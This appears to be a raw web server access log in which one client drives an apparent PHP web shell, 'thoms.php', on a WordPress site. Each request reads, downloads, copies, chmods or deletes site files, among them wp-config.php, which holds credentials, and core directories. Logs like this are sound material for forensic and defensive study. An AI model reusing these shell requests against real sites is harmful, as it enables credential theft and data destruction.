45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fpartial-temp&p= HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fpartial-temp&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /thoms.php?chmod=wp-content&p=bodbooks.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-blog-header.php&p=bodbooks.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-blog-header.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-comments-post.php&p=bodbooks.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-comments-post.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /thoms.php?del=wp-admin&p=bodbooks.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /thoms.php?dl=license.txt&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /bodbooks.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:47 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Freadme.html&p=bodbooks.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Freadme.html&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-config-sample.php&p=bodbooks.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-config-sample.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13107 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?chmod=thoms.php&p=bodbooks.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bodbooks.com.tw HTTP/1.1" 200 17433 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bodbooks.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bodbooks.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-login.php HTTP/1.1" 200 29028 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?del=license.txt&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /bodbooks.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?del=readme.html&p=bodbooks.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?del=readme.html&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /bodbooks.com.tw/wp-login.php HTTP/1.1" 404 12164 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-signup.php HTTP/1.1" 200 22519 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2F.htaccess&p=bodbooks.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2F.htaccess&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:48 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bodbooks.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-signup.php&p=bodbooks.com.tw HTTP/1.1" 200 11435 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-signup.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /thoms.php?dl=index.php&p=bodbooks.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /bodbooks.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /thoms.php?dl=wp-config.php&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 200 59438 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bodbooks.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bodbooks.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=license.txt HTTP/1.1" 200 20075 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12038 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-config.php HTTP/1.1" 200 13732 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bodbooks.com.tw HTTP/1.1" 200 17436 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /thoms.php?del=wp-signup.php&p=bodbooks.com.tw HTTP/1.1" 200 17437 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /bodbooks.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:49 -0400] "GET /bodbooks.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bodbooks.com.tw HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-load.php HTTP/1.1" 200 13669 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /thoms.php?del=wp-mail.php&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /bodbooks.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-settings.php HTTP/1.1" 200 19465 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2F.well-known&p= HTTP/1.1" 200 11919 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /bodbooks.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 200 13267 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /thoms.php?del=partial-temp&p=bodbooks.com.tw HTTP/1.1" 200 17425 "http://163.245.207.76:443/thoms.php?del=partial-temp&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=error_log HTTP/1.1" 200 14896 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /bodbooks.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /bodbooks.com.tw/cgi-bin/ HTTP/1.1" 200 693 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /thoms.php?chmod=license.txt&p=bodbooks.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fthoms.php&p=bodbooks.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fthoms.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /bodbooks.com.tw/thoms.php?p= HTTP/1.1" 200 18581 "https://163.245.207.76/bodbooks.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:50 -0400] "GET /thoms.php?chmod=mah.php&p=bodbooks.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-config.php&p=bodbooks.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-config.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?del=wp-activate.php&p=bodbooks.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fxmlrpc.php&p=bodbooks.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fxmlrpc.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?chmod=cgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?chmod=generated-history&p=bodbooks.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=generated-history&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?chmod=partial-temp&p=bodbooks.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=partial-temp&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=locoy.php HTTP/1.1" 200 12965 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /bodbooks.com.tw/generated-history/ HTTP/1.1" 200 6435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?chmod=readme.html&p=bodbooks.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-links-opml.php&p=bodbooks.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-links-opml.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-activate.php HTTP/1.1" 200 14818 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /bodbooks.com.tw/partial-temp/ HTTP/1.1" 200 6344 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?del=upgrade&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?dl=wp-activate.php&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?del=cgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:51 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11915 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?del=wp-content&p=bodbooks.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?del=wp-content&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-content&p= HTTP/1.1" 200 11926 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bodbooks.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?del=wp-cron.php&p=bodbooks.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?dl=readme.html&p=bodbooks.com.tw HTTP/1.1" 200 17435 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?del=index.php&p=bodbooks.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?del=index.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?del=locoy.php&p=bodbooks.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-cron.php&p=bodbooks.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw%2Fwp-cron.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /bodbooks.com.tw/wp-links-opml.php HTTP/1.1" 200 216 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?del=wp-load.php&p=bodbooks.com.tw HTTP/1.1" 200 17434 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:52 -0400] "GET /thoms.php?p=bodbooks.com.tw%2F.well-known HTTP/1.1" 200 12596 "http://163.245.207.76:443/thoms.php?p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
